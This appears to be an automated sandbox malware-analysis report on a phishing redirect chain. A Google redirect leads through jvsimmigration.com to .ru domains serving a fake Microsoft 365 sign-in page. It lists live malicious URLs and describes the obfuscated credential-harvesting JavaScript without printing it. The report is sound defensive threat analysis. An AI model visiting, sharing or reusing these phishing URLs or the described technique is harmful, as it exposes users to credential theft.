Edit tour

Windows Analysis Report
https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f

Overview

General Information

Sample URL:	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=X
Analysis ID:	1571994
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2276,i,2124656294243649760,5644451124294836775,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4284 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru/abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA	Avira URL Cloud: Label: malware
Source: https://wfdd.htqeuifpr.ru/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://wfdd.htqeuifpr.ru/rNn4/	Avira URL Cloud: Label: phishing

Phishing

AI detected suspicious Javascript

Source: 1.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi... High-risk script with multiple red flags: uses atob() for obfuscation, contains an encoded suspicious URL (56z.htqeuifpr.ru), implements anti-debugging measures, uses document.write() for DOM manipulation, and contains heavily encoded content. The script also blocks defensive measures like dev tools and includes keycode monitoring for potential keylogging.
Source: 1.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi... High-risk script showing multiple suspicious behaviors: 1) Makes requests to a suspicious Russian domain (.ru) with an unusually long subdomain, 2) Contains obfuscated variable names, 3) Performs form data exfiltration via POST request, 4) Uses redirects to excel.office.com as a possible smokescreen, 5) Implements Cloudflare Turnstile but appears to be using it maliciously. The pattern suggests a credential harvesting or phishing operation masquerading as a legitimate Microsoft service.

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0

HTTP Parser: Base64 decoded: d943ceba-386c-4818-98bf-771f1b31e5bc333b48c3-299c-4acf-b333-b5728445bbb3

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

HTTP Parser: <input type="password" .../> found

Source: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20=	HTTP Parser: No favicon
Source: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20=	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.google.com.hk to http://jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/ynj1y2vwqgxlc21hbi5jb20=

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
